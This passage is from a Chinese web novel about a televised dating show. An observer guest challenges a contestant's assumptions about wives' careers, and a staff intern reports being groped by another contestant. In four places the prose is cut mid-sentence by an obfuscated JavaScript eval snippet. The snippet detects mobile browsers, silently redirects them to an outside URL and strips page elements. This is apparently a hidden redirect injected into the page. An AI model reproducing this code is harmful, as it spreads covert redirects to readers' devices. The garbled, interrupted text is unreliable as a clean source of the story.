梁颂点到为止:“祝你顺利流入相亲市场。” 【哈哈哈哈,梁颂你是在阴阳怪气吗?】 【笑死,怕是流不进去了。】 【梁颂太逗了,一本正经地说什么呢。】 【告别也要体面hhhh。】 【这样正好,让他想反驳都不知道说什么。】 …… 在关宁远离开舞台之前,荀江照例要请几位观察嘉宾发言,托梁颂的福,另外三位观察嘉宾都没说重话,客客气气地送走了关宁远。 梁颂默默地舒了口气,很好,五分之三,再坚持俩她就可以安全撤退了,希望后面两个男嘉宾都正常点,别让她老这么提心吊胆的。虽然说真心话是挺爽的,但说多了也是真扛不住。 “很遗憾,三号男嘉宾没能牵手成功。”荀江说,“那我们就不多说废话了,马上来请出下一位男嘉宾。” “这位男嘉宾可是我非常期待的,肯定让大家眼前一亮。”崔明如笑着说,“有请!” 梁颂闻言,顿时打起了精神。 哦?崔明如都很期待,那她可得好好看看了。 通往后台的大门打开,四号男嘉宾沿着通道大步走上舞台。他还没有走到主持人身边,台下的观众席就传来阵阵掌声和欢呼声。 荀江和崔明如分别与四号男嘉宾握了手,崔明如看着台下观众们的热烈反应,笑眯眯地说:“怎么样,荀老师,我没说错吧。” “是,但为什么呢?”荀江随机指了一名离舞台很近的观众,说,“那个穿黑衣服的女生,你怎么笑得那么开心?” 女生突然被点名,羞红了脸,捂着嘴还是掩饰不住笑意。 崔明如一脸看穿一切的表情,替她说:“当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558163|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为帅啦,是不是?” 女生不说话,一味使劲点头。 荀江纳闷地问:“这都没露脸呢,你们就看出帅了?” 崔明如说:“荀老师你不懂,我们自有判断帅不帅的标准。” 荀江摇头:“确实不懂你们。——男嘉宾,先跟大家打个招呼吧。” 四号男嘉宾摆了摆手,说:“大家好,我叫白烨,火华烨,今年二十五岁,目前是在一家图书公司工作,职业是新媒体运营。” 梁颂抿着嘴笑,上上下下地打量白烨,他个子很高,站在一米八的荀江身边还高出了一点,头也小,就显得比例很好,兼之肩宽腿长,远远一看就属于很打眼的那种。虽然看不到整张脸,但单看下半张脸的话,线条流畅,鼻子和嘴巴的形状都很好看,除非眼睛难看到灾难级别,不然绝对丑不了。 崔明如问:“白烨,我先问个问题,你多高啊。” 白烨谨慎地回答:“186.6。” 崔明如扑哧笑了出来:“这么精确吗?” 【哈哈哈哈,怎么有零有整的。】 【果然男生的身高只要超过一米八就会偷偷藏不住。】 【这样看是很帅了,不知道眼睛会不会拖后腿。】 【靠,遇见同行了。】 【声音也不错!这个我可以!】 …… 这时,一号女嘉宾赵昕高高地举起手,还左右晃,一副迫不及待的样子。 荀江便问:“一号女嘉宾?” 一号女嘉宾毫不扭捏,单刀直入地提出要求:“想快点看脸。” “嗯?这么不矜持?”荀江打趣,“我记得你不喜欢这种类型啊,你不是喜欢成熟稳重的吗?” 一号女嘉宾脸不红心不跳:“并不冲突。” “稍安勿躁。”荀江安抚她,“我们还是要按流程来的。” 一号女嘉宾左右环视:“这还有什么悬念吗?” 的确毫无悬念,梁颂数了数,十盏灯已经亮了九盏,在她观摩过的往期节目中,最高记录也不过是八盏。 “那也得先让他选择心动嘉宾啊。”荀江递上平板,又问白烨,“你视力怎么样?要不要走近了去看?我看她们都挺希望这样的。” “不用了,我两只眼的视力都是5.0,看得很清楚。”白烨拒绝了他的提议,看了一圈,低头在平板上做出了选择,递还给荀江:“好了,谢谢。” “好。”荀江笑笑,“我看我们也不用多说了,九盏灯,先摘面具再慢慢聊吧。” 白烨点了点头,抬手摘掉了面具,顺手理了理额前的头发,有点不好意思似的,又微微笑了一下。 崔明如便问一号女嘉宾:“怎么样,一号女嘉宾,让你失望了吗?” 一号女嘉宾的嘴角压都压不下去:“不失望,很满意。” 【我也很满意!】 【眼睛稍稍逊色,但也可以了!】 【求求了,节目组以后多找点这样的吧。】 【这对我的眼睛才友好嘛!】 【这个看脸的世界呀,大家一看到帅哥都高兴起来了。】 …… 12. 第 12 章 亏了白烨的这张脸,想提问的女嘉宾格外多,荀江不得不打断她们,说:“先来看男嘉宾的第一条短片吧,看完再给大家时间提问。” “先让五号女嘉宾问吧。”崔明如好心地说,“我看她都举了半天手了,也怪累的,给人家个机会。” 荀江应允:“好,那五号女嘉宾你问。” “谢谢崔老师!”五号女嘉宾盛嘉向崔明如道谢,说,“我就一个问题,问完我好决定留不留灯。” “嗯?这么早就做决定吗?” “现在问这个是早了点啦,不过这对我很重要。” “好吧,那你问。” 五号女嘉宾便问白烨:“男嘉宾,你是二十五岁吧,我想问你,你接受姐弟恋吗?如果接受,能接受几岁的年龄差呢?” 白烨想了想:“我倒是能接受,年龄差的话,不超过三岁吧,大三岁以上就不是很能接受了。” 五号女嘉宾遗憾地叹气:“好吧,看来我只能提前退出了。” 白烨听了,用探究的目光看荀江。 “五号女嘉宾二十九岁。”荀江为他解答了疑惑,又问五号女嘉宾,“就这么轻易地放弃了吗?三岁和四岁区别也不大啊。” 五号女嘉宾也很诚实,说:“虽然我挺喜欢男嘉宾这张脸的,但四岁的话,我自己其实也有点含糊。——算了,机会留给妹妹们吧。” 【哈哈哈哈,就这么直白地说喜欢脸吗!】 【嗐,当下也只能看到脸嘛。】 【五号女嘉宾好实诚hhhh。】 【不瞒各位,我也很喜欢男嘉宾的脸。】 【但他们两个看脸还蛮配的哎,可惜了。】 …… 眼看五号女嘉宾灭了灯,荀江说:“好,那我们现在来看白烨的第一条短片,进一步来了解他是个怎样的人。” 白烨的第一条短片简单介绍了他的家庭情况,以及个人的工作情况。短片里的他穿着更随意,和朋友们一起玩滑板的时候笑容开朗,的确很讨人喜欢。 “这不就是青春男大吗?”崔明如开玩笑地问,“白烨,你读大学时是校草吗?” 白烨连连摇头:“那不敢当,不过我对班草的称号倒是当之无愧。” “哦?这么自信?” 白烨耸了耸肩:“我们班就我一个男生。” 大家都笑了起来。 七号女嘉宾李诗卉举手,怀疑地问:“真的假的?我也是文科生,但我们班男女生的比例大约是七比三,没你们这么夸张啊。” 白烨解释说:“我们学校专业方向分得很细,每个班的人都不多,像我们班一共就只有二十几个人,除了我之外都是女生。” “原来如此,那你还挺幸福的嘛。” 白烨无奈地笑:“并没有,我感觉她们都没把我当成异性,只有需要挡箭牌的时候才会意识到我是个男生。” 崔明如好奇地问:“这怎么说?” “比如她们有时候被一些……嗯,比较执着的男生追求,为了一劳永逸地解决问题,就会拜托我假装她们的男朋友去对方那里露个面,好帮她们挡烂桃花。” 崔明如忍不住笑了:“听起来这种事你做了不少啊。” “没有十次,七八次也是有的。”白烨回想起这些事,自己都很想笑,“没办法,大家关系都不错,我也不好意思拒绝。” 崔明如追问:“那么多次就没有弄假成真的吗?” 白烨苦涩地叹了口气:“没有,她们说,我太好说话了,有求必应,和我谈恋爱肯定没安全感。” 【笑死,帅哥的正确使用方法。】 【一枚有用的工具人。】 【高情商:比较执着。低情商:死缠烂打。】 【熟练得让人心疼。】 【这可太惨了,乐于助人还落不到好。】 …… 三号女嘉宾孔今一副心有戚戚焉的模样,说:“我懂!我也帮舍友挡过烂桃花,把自己害惨了。” 荀江笑着问:“你这又是怎么回事?” 三号女嘉宾说:“我记得是大二还是大三的时候,我的一个舍友在图书馆被别的院的男生搭讪,之后就开始纠缠她,怎么拒绝都没用。于是她就想了个馊主意,让我去冒充她的男朋友跟对方说清楚。后来那个男生不知道从哪里知道了我是女生,就把我们当成了女同,我装男生是不想公然出柜。” 说到这里,她顿了顿,继续说:“这件事我是怎么知道的呢?是我去向喜欢的男生告白时,他特别惊讶地问我,你不是喜欢女生吗?我这才知道他和那个男生虽然不是一个院的,但宿舍是挨着的,所以在那个男生的大嘴巴下,他们两个院的男生差不多全都知道了我的事。” “然后呢?” “然后我哪里还敢告白,以后都没敢再出现在他面前,远远地看见他都躲着走。”三号女嘉宾满脸哀怨,“明明我是受害者,可我的舍友还一直笑我,她说正好落了个清净,不用再被打扰,可我不想!” 【妈呀,又惨又好笑。】 【有一说一,三号女嘉宾真的比很多男生帅!】 【无妄之灾呀,三号女嘉宾好苦。】 【那个女生略过分啊,自己是清净了,不管别人死活。】 【心疼三号女嘉宾。(捂脸)】 …… 眼看话题要跑远时,依旧是荀江时刻谨记自己的职责,及时把话题拉了回来:“好好好,故事暂时先分享到这里。——观察席的几位老师,你们看了白烨的第一条短片,有什么想说的吗?” 这一场的气氛和谐又欢快,梁颂原本听故事听得津津有味,几乎快忘了他们要干什么,被这么一提醒,脸上的笑容立马消失了。 说说说,说什么?她可什么也没想。 另外三位观察嘉宾的想法大概是也跟她相差无几,说话时的表情都堪称慈爱。 轮到梁颂时,她憋了半天,憋出来一句:“故事很有趣。” 崔明如笑眯眯地问:“人呢?” “男嘉宾挺好的,目前没发现大问题。”梁颂硬着头皮说,“希望男嘉宾能成功和心仪的女嘉宾牵手离开舞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【无法反驳,男嘉宾这是真上过班的。】 【哈哈哈哈,男嘉宾说得好委婉,二号女嘉宾是真没get到。】 【说真的,到底是什么人会和同事谈恋爱啊!】 【开玩笑,看见同事就烦,谈不了一点。】 【二号女嘉宾这一看就是没受过职场的鞭打,单纯得让人羡慕了。】 …… 白烨听了她们两个的对话,略带诧异地问:“二号女嘉宾不用上班吗?” “啊,我是自由职业者。”二号女嘉宾说,“游戏主播你知道吧,就是打游戏的。” “那很厉害呀。”白烨说,“时间上也自由,结婚后能有更多的时间照顾家庭和孩子。” 二号女嘉宾的笑僵在脸上:“啊?” 她是错过了什么吗?怎么突然就毫无铺垫地跳到婚后生活了?不,这明显不对吧。 13. 第 13 章 二号女嘉宾周雨薇被白烨这话说蒙了,张了张嘴,一时之间不知道说什么。 而梁颂则是顿感不适,眉毛紧紧地拧成一团,心想怎么回事,自己刚轻松了几分钟就又来了,这节目有毒吧,尽会请些牛鬼蛇神过来。可是,自己做功课时,观摩的那些期都没这么夸张啊,难道说,是自己有毒? 她微微偏着脑袋,眉头紧蹙,怀疑起了人生。 白烨似乎也察觉到了自己的失言,立刻说:“对不起,我不是特指你,只是客观陈述。” 梁颂无声冷笑,很好,观念更明晰了。 二号女嘉宾的表情略带迷惘,可能还沉浸在结婚生子的冲击里没有脱离出来,糊里糊涂地“哦”了一声。 【男嘉宾这话怎么让我那么不舒服,是我的问题吗?】 【嗯嗯嗯?男嘉宾这不就是默认女生结婚后要牺牲工作吗?】 【emmm,似曾相识的话题,这个话题是不是讨论过一轮了。】 【!还真是,一号男嘉宾吴……吴什么来着?】 【二号男嘉宾那时候探讨过了。】 …… 荀江自然也敏锐地意识到了他们回到了曾聊到的话题,问白烨:“白烨,假如你结婚了,你能接受老婆不工作,在家当全职主妇吗?” 白烨想了想,摇头:“不太能吧。” “为什么呢?” “现在生活的成本挺高了,家里只有我自己上班的话,压力可能会比较大吧。”白烨稍显为难地说,“我刚毕业三年,工作上还处于上升期,在经济方面也说不上很宽裕。” 崔明如紧接着问:“那你有计划过什么时候结婚吗?” “结婚我倒不是很急,遇到合适的人可以先慢慢谈,结婚最好是水到渠成的事。” 崔明如追问:“那你周围的同学和朋友是结婚的多,还是单身的多?” “我周围的同学和朋友绝大部分都是单身,我知道的只有两个人结婚了。”白烨说,“那两个人正巧是一对,从高中就开始谈,去年年底结的婚。” 荀江点头称是:“当今社会的年轻人对结婚这件事都不太着急了,像我那时候,我三十岁出头结的婚,在朋友当中基本就算垫底的了。” “可不是嘛。”崔明如赞同道,“我也是前几年,刚过了三十就结婚了,我朋友还不理解我为什么要早早地结婚,一点也不自由了。” “时代变了,不过这又不影响别人,自己怎样选择都是自己的自由。”荀江说着,又问台上的女嘉宾,“在座的各位对自己的结婚时间有明确规划吗?——我记得李诗卉你是希望近两年结婚的,对吧。” “啊?”七号女嘉宾李诗卉忽然被点名,迟钝地反应了两秒才应,“嗯,是啊,毕竟我也二十七岁了嘛,希望能在三十岁之前结婚。” 崔明如说:“那可只有三年的时间了。” “是啊。”七号女嘉宾苦恼地计算,“而且结婚前总得交往两年吧,交往前也得接触一年半年的吧,所以我要想在三十岁之前结婚,半年内就得遇见结婚对象了。” “嗯……”崔明如欲言又止,“其实时间节点不那么精确也可以的,有时候目的性太强了反而更难达到目的。” 七号女嘉宾叹气:“我知道,但我控制不住自己的焦虑。几个好朋友都有男朋友了,还有的到了已经谈婚论嫁的地步,我就怕自己再不抓紧,就永远也找不到男朋友了。” “哎呀,不会的。”崔明如安慰她,又提议说,“要不再拓展拓展交友渠道呢?好朋友的男朋友们也可以成为关系网啊!” 七号女嘉宾一副一言难尽的模样:“实不相瞒,我早见过好几个她们男朋友的同事了。” 崔明如震惊:“一个都不行?” “……嗯,所以我才来参加节目的。” 崔明如比起大拇指,一本正经地保证:“我们办事,你放心。” 【笑死,七号女嘉宾是J人吧,安排得明明白白的。】 【崔老师:不理解但照办。】 【荀老师表示你不要再给我揽事了!】 【才二十七岁急什么呀,我三十多了都没急。】 【嗐,这种事真的看缘分,缘分没到,不行就是不行。】 …… 荀江笑着说:“看来我们肩上的责任重大啊。——赵云舒,你是不是也有早点结婚的想法?” “我吗?我还好,没李诗卉那么紧迫。”九号女嘉宾赵云舒说,“能尽快结当然最好,实在结不了也没办法,听天由命吧。” 她们两个恰好都为白烨亮着灯,荀江便问白烨:“如果你找到女朋友,对方结婚的想法特别强烈,两年内不结婚就分手,那你怎么办?” 白烨迟疑了片刻,说:“大家可以商量着来,彼此都做出一定的妥协,尽量达成两个人都可以接受的共识。” 荀江认可他的话:“这是理智的,结婚不是件草率的事,涉及到的问题太多了,还是要慎重为好。” 梁颂安安静静地听他们说话,越听越坐不住,又眼看马上要到终选环节了,白烨的灯竟然还有五盏之多,心中不由得纳闷。不是,他轻飘飘地说了那么可怕的一句话,难道就无人在意吗? 那么,他说那句话到底是紧张下的无心之言,抑或是本心流露呢?看来自己是不问不能安心了。 “好,目前我们可以看到依然有五位女嘉宾为白烨亮着灯。——赵昕,我都没注意,你什么时候把灯灭了?” 一号女嘉宾噘了下嘴,怏怏道:“他太抢手了,我没信心抢得过。反正看他对我也没什么兴趣,算了,我不要了。” 说得那叫一个干脆,就像在说自己要丢掉一件旧衣服。 【哈哈哈哈,还得是一号女嘉宾啊!】 【属于是有点洒脱,但不多。】 【永远都不要为男人内耗!(震声)】 【咱就是说,一个男人而已,没必要哈。】 【啊,亮灯的是二号、三号、七号、九号、十号,三号居然还亮着?!】 …… “好吧,亮灯的五位女嘉宾,即将要进入终选环节了,在此之前,你们可以慎重地思考后再做出最终决定。”荀江说,“观察席的各位老师对她们有什么建议吗?” 其他三位观察嘉宾都侧重于分析几位女嘉宾的个人情况,看似用意都是帮助白烨更好地了解女嘉宾。 轮到梁颂的时候,她直截了当地把矛头对准了白烨:“我想问男嘉宾一个问题。” 崔明如一听她这个问法就笑了,眼睛里闪烁着兴奋的光:“哦?梁颂又有什么问题啦?请问。” “……”梁颂撇开视线,忽视她语气里的戏谑,开门见山地问白烨,“请问男嘉宾,在你的设想里,结婚后你要怎么平衡工作和家庭呢?” 白烨没想到她会问这个,被问得一愣:“啊?” 梁颂勾了勾嘴角,似笑非笑:“你不是说二号女嘉宾做自由职业者很好吗?能有更多的时间照顾家庭和孩子。那么我就想问了,假如女生结婚后要把大部分精力投入家庭,那你呢?你能付出多少精力?” “我……”白烨打了个磕巴,辩解,“我工作很忙啊,但也会尽力分担家务的。” “哦?”梁颂咄咄逼人,“这么说,你是默认女生就该牺牲属于自己的时间,毫无怨言地为整个家庭付出?她们这样做是理所应当,而你这样做就是体贴入微吗?” “我不是这个意思……” 梁颂不以为然:“人的潜意识反映在他的一言一行里,潜意识也不是一天两天能形成的。你会自然而然地这样说,就代表这些念头早在你心里生根发芽了。” 白烨理屈词穷,无言以对。 【喔,梁颂战斗力全开。】 【会说多说!】 【哈哈哈哈,终于等到了!】 【有理有据,合理!】 【嘛,和一号男嘉宾所受到的暴击相比,这很温柔了。】 …… 荀江站出来打圆场:“梁颂的观点依旧很犀利,不过并非全无道理,对我们男同胞是非常有警示意义的。白烨,针对梁颂的话,你有什么想要反驳的吗?” “我好像也没什么可反驳的。”白烨弱弱地说,“的确是我说得不对,梁颂老师骂我也是应该的。” 梁颂:“……” 完了,他这么立正挨骂,自己怎么反倒生出一丝罪恶感来了。 “不管怎么说,能反思就是好孩子,来日方长,都可以改的嘛。”崔明如故意拿出了长辈的语气,拿腔拿调的,把大家逗笑了。 “我从来都没意识到自己存在的这个问题,梁颂老师能直言不讳地指出来,我很感谢她。”白烨顿了顿,不太好意思地继续说,“其实我一直都很喜欢梁颂老师的。——梁颂老师,结束后可以请你给我签名吗?” 梁颂人都傻了,听得目瞪口呆,半晌才张了张嘴:“可,可以的。” 白烨闻言,笑得比此前任何一刻都灿烂:“谢谢你,我好高兴!” 【笑不活了,好抓马的走向。】 【梁颂当众痛斥粉丝,怎么这么搞笑。】 【梁颂半夜坐起来都要怪自己:“我好毒啊!”】 【都不知道该羡慕男嘉宾还是同情他了。】 【这个男嘉宾态度还挺好的,但积习难改,嗯……】 …… 崔明如摊手:“我们成粉丝见面会了。” 荀江笑着说:“签名的事暂且放一放,我们的重点是感情问题。” “对对对,但是,我们好歹也帮白烨完成了一桩心愿啊。”崔明如和白烨开玩笑,“如果没能牵手成功,不会怪我们吧。” 白烨忙说:“不会不会。” 崔明如挑眉:“好,那就来吧。” 经历了梁颂和白烨的那一番交锋后,有人亮灯也有人灭灯,目前有六盏灯亮着,白烨的这整个流程堪称平稳。 荀江要求道:“白烨,现在请你去灭掉四盏灯,然后回到我们身边来。” “好的。” 白烨走上前去,从左到右走了一遍,留下了三号女嘉宾孔今和九号女嘉宾赵云舒。 待她们走到舞台上面,崔明如诧异地问白烨:“她们两个根本不是一个类型,而且差别这么大,你是怎么选的?” 梁颂的目光在三号女嘉宾和九号女嘉宾身上来回游移。 确实,三号女嘉宾又高又瘦,精致的脸配着短发,有种雌雄莫辨的美,九号女嘉宾站她身边矮一大截,留着微卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571613|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的棕色长发,笑容羞涩,两人从外在来看就没一点相似之处。 是啊,到底为什么呢? 白烨也没给出什么像样的理由,说:“也没什么,单纯凭眼缘选的。” 崔明如摇了摇头,表示难以理解:“行吧,没问题,这是你的权利。” “那我们一起来揭晓白烨的心动嘉宾。”荀江说,“明如,这次还想搬救兵来猜一猜吗?” 崔明如大手一挥:“不要,我得直接看答案。” “好,那就满足你。”荀江从善如流,“来看大屏幕。” 梁颂也好奇地抬头看去,看清上面的数字时,微微瞪大了眼睛,随即转移视线,看向心动嘉宾本人。 二号女嘉宾周雨薇前几分钟才犹犹豫豫地灭掉了灯,紧跟着便在大屏幕上看到了自己的号码,困惑且不可置信地眨了眨眼。 “周雨薇,请你也来到舞台上。” 二号女嘉宾定定神,镇静地来到舞台上,在三号女嘉宾和九号女嘉宾中间站定。 她就又是另一种风格了,戴着粉色的假发,身上穿的裙子也是较为夸张的那种,站在那儿像动漫里走出来的女主角似的。 观察嘉宾柳彦看着她们三个人笑,说:“这三个人一人一个模样,男嘉宾这个标准我是真看不明白。” 崔明如替白烨说:“他看眼缘,那大概是前后不同时间点的眼缘吧。” 【你别说,你还真别说。】 【三个人三个画风。】 【不不不,明明二号女嘉宾和三号女嘉宾是一个画风,都像二次元。】 【一个男主一个女主是吗?(狗头)】 【嗯?前面的姐妹提供了意想不到的思路。】 …… 荀江问二号女嘉宾:“周雨薇,你想到自己会是白烨的心动嘉宾了吗?” 二号女嘉宾老老实实地说:“完全没想到。” “那现在是什么心情?” “嗯……我也说不清楚,就,挺奇怪的。” “没关系,还可以考虑。”荀江笑笑,说,“白烨,在做出选择前,你可以提最后一个问题,由三位女嘉宾分别作答。” 白烨想了一会儿,问:“我想问三位女嘉宾,你们在休息的时候都会给自己安排什么活动呢?” “你想先听谁的答案?” “请二号女嘉宾先说吧。” 二号女嘉宾说:“我休息的时间很自由,所以很少刻意安排什么活动,想起什么事就会立刻去做。比如我偶尔会心血来潮,半夜自己跑出去看个夜场电影,或是想吃自助了就去吃,边看电影边吃上两个小时。周末有朋友约就出去,没朋友约就窝在家里。嗯,就这些。” “好的,谢谢你。”白烨点了点头,“三号女嘉宾呢?” “我差不多每个周末都要和朋友约各种活动的,在家里待不住。我有很多不同的搭子,打篮球的,玩剧本杀的,爬山的,活动很丰富。你要是愿意,我可以带着你一起去玩,想宅家我也可以安排家里的活动,不会让你无聊的。” 白烨笑了笑:“谢谢啊。” “感觉大家的生活都好充实啊。”最后回答的九号女嘉宾感叹,“我应该属于比较宅的那种了,除非有人约,我周末基本不出门的,就在家看看书看看电影,打扫卫生,要么研究好吃的。我觉得在家里才会让我很舒服很放松,你不赞成也没关系。” 白烨说:“这样也很好,每个人喜欢的生活方式不同。” “好,三位女嘉宾都给出了自己的答案,接下来就轮到你做出选择了。”荀江说,“白烨,我需要提醒你的是,你可以坚持选择心动嘉宾,但有可能会被拒绝,如果选择另外两位中的其中一位,则可以与她牵手离开舞台,你了解了吗?” “嗯,了解。” “那么请你考虑五秒钟,然后直接走到你想牵手的那位女嘉宾面前。” 明明不是自己选,梁颂却莫名紧张起来,双手交握,眼睛一眨不眨地盯着白烨。 五秒钟后,白烨终于迈开了脚步,径直走到了二号女嘉宾面前,说:“我知道我说了不太合时宜的话,但我保证,我会努力做出改变的,希望你能给我一个机会。”说完,他对二号女嘉宾伸出了右手。 二号女嘉宾低头看着他的右手,沉默不语,良久,她小幅度鞠了一躬:“对不起。” 白烨收回手,难掩失落之色:“没关系,我尊重你的想法。” 【啊,就这样吗?】 【好了,结束了。】 【是梁颂的那几句质问吧。】 【但我觉得有点可惜哎。】 【没事啦,他要真愿意,也可以再去靠自己争取啊。】 …… “很遗憾,白烨,你只能独自离开这里了。” 白烨收敛了脸上的失落,保持着微笑,说:“好的。” 崔明如为了安慰他,说:“起码有收获的呀,回头让梁颂多给你签几个名。——好不好,梁颂?” 梁颂心中的那一丝罪恶感愈盛,当即满口应允:“没问题,签几个都可以。” 崔明如叹了口气:“欢迎你的到来,白烨,再见。” 白烨对着台下深深地鞠了一躬,挥挥手,独自黯然离去了。 14. 第 14 章 到了休息时间,梁颂喝够了矿泉水,打算去自助贩卖机买瓶咖啡喝,她刚走出演播厅向左转,身后就有人大声叫她:“梁颂老师!” 梁颂被吓了一跳,转身望去,就见白烨朝自己走过来,手上还拿着笔记本和笔,显然是找自己来兑现之前的承诺了。 他近距离地站定在自己面前,的确很高,压迫感扑面而来。 梁颂莫名紧张,无法抑制地胡乱想着这要是发生什么冲突,自己可不是对手,老天保佑,他可千万别是个情绪不稳定又小肚鸡肠的人。 白烨当然不知道她在胡思乱想什么,笑得有点羞涩:“你答应给我签名的。” 梁颂无声地叹气,算了算了,都是自己招来的,还能怎么办呢? 她接过笔记本和笔,翻开第一页:“签在这里可以吗?” 白烨一迭声应:“可以的可以的。” 梁颂握着笔,心中天人交战,纠结要不要为破坏了他的相亲跟他道个歉,迟迟没有下笔。 白烨也不催促,就安安静静地等着。 想了半天也不知道该怎么说,梁颂沮丧地放弃了,抬眼看他:“给你写,祝你早日找到自己的幸福,好吗?” “写什么都行。”白烨一口答应,眼神热切,“只要是你写的就好。” 梁颂忍不住吐槽:“你在台上还挺稳重的啊,怎么现在倒像个中学生了?” 白烨挠了挠头:“说起来很丢脸,我知道自己长相不成熟,怕自己表现得太活跃了,她们会认为我不靠谱,对我的印象大打折扣。” “……” 梁颂默默地低下头写字,写完后签上自己的名字,合上笔记本还给他时,还是没能控制住自己,语重心长地说:“一个人外表成不成熟并不要紧,以貌取人也本来就是不对的。我倒是觉得,比你的外表,真正不成熟的是你的想法。虽然我自己还没结婚,但我从身边看到了不少类似的例子,女生辛辛苦苦地看孩子做家务,男生却打着工作的旗号整天不着家,半夜才醉醺醺地回来,不帮女生分担就算了,还要女生反过来照顾他……看多了真的会气死。” 她一口气说了这许多,回过神才注意到白烨略带错愕的神情,立马止住了话头,尴尬地干咳了两声:“那个,我不是在对你说教啊,你别误会——” 白烨却打断了她的话:“我懂!你是在关心我!” 梁颂一时语塞,嘴角微不可察地抽搐了一下:“嗯……你要愿意这么理解也行。” 她看白烨并没有对没能牵手成功的事表现得太过失落,心下稍安,但犹豫片刻还是象征性地安慰了两句:“那个,今天失败也没什么,你不要太往心里去了,而且你整体是个还不赖的人,应该不用愁以后找不到女朋友。” 白烨不以为意:“没事,这种事急也急不来,我很想得开的。” “嗯。”梁颂也不知道再和他说什么比较好,伸手指了指走廊尽头,“那,我先去买喝的了,你回去的路上小心啊。” “嗯,谢谢你!” 梁颂微笑着对他挥挥手,目送他脚步轻快地离开,高高瘦瘦的背影消失在转角,脸上的笑容慢慢敛去,很轻地叹了口气。 他是结束了,自己可还有一轮呢,也不知道这最后一位男嘉宾会是何方神圣。 好!再坚持一会儿,一鼓作气地结束这件事! 梁颂握拳给自己鼓劲,迈开了脚步。 她拿着咖啡回来,还没走进演播厅就看见几个工作人员凑在一块窃窃私语,她隐隐听见“五号”的关键字,又看她们的神情都说不上友好,有个短头发的甚至面露厌恶,不由得心生好奇,凑过去问:“是五号男嘉宾吗?他怎么了?” 那几个工作人员都是女生,看着年纪也都不大,听到她突然出声,都吓了一跳。其中一个卷发女生大概是顾忌着她是观察嘉宾,怕她告状什么的,抢着说:“没什么没什么,我们随便聊聊而已。” 梁颂才不信,信誓旦旦地说:“我保证不会告诉别人的,你们告诉我嘛。” 卷发女生迟疑着打量她,没有开口。 梁颂抿着嘴,不躲不闪地迎上她的目光。 她们毕竟年纪差不了多少,加上梁颂的语气和眼神都非常认真,在台上也没有对男嘉宾留情面加以袒护,卷发女生便对她放下了戒备,看短发女生没有反对的意思,又环顾左右没有人经过,便压低了声音对梁颂说:“就是那个五号男嘉宾啊,他太恶心了。你知道吗?他居然偷偷摸露露的屁股,露露问他他还不承认。拜托,他心虚得那么明显,傻子才会信呢!” 梁颂注意到她说这些话时有个短发女生涨红了脸,猜测她就是卷发女生口中的露露,便问:“告诉导演了吗?如果情况属实,可以取消他的上台资格啊。” 露露红着脸说:“我只是个实习生,不想把事情闹大,再说又没有证据,导演不会相信的,只会惹来不必要的麻烦。” “那监控呢?没有拍到吗?” 露露摇了摇头,说:“我们去问了,负责监控的人不给调,还嫌我们事多,把我们骂了一顿。” 确实,人微言轻,说什么都很难引起别人的重视。 卷发女生忿忿道:“要我说,他待会儿要是能牵手成功,就直接匿名发到网上曝光他。既然节目组这么不护着自己人,我们也没必要为他们着想了。” “不要了吧。”露露小声说,“假如被查出来,我们就转不了正了。” 梁颂看她委屈巴巴的样子,有些不忍,微微皱起了眉。 节目上出现这种猥亵女性的人,那才是最大的耻辱吧。工作人员也是,一个监控都不给调,至不至于啊。 她越想越气,拉起露露的手腕就走:“跟我来。” 其他三个女生一头雾水,赶上来几步,问:“你带她去哪儿啊?” 梁颂回头说:“你们别管了,去忙你们的吧,这件事交给我了。” 露露被她拉走,不安地问:“我们去哪儿?” 梁颂言简意赅地说:“找导演调监控。” “啊?这样行吗?” “不试试怎么知道。”梁颂说,“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594004|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能就这么便宜了他,不给他点教训,他以后还会再骚扰别的女生的。” “可是……” 梁颂安抚她:“你别怕,有我在呢。” 她也不知道自己怎么敢这么勇,按她以往的行事风格,肯定是不会这么豁得出去的,再愤怒也不过在心里骂上几句,口头上再安慰女生几句,让事情平稳地过去。 可现在,内心的想法已经强烈到无法轻易压下去,并且开始驱使自己的行为。 她来不及去仔细思考这样到底好不好,只知道应该这样去做,不能再置之不理。 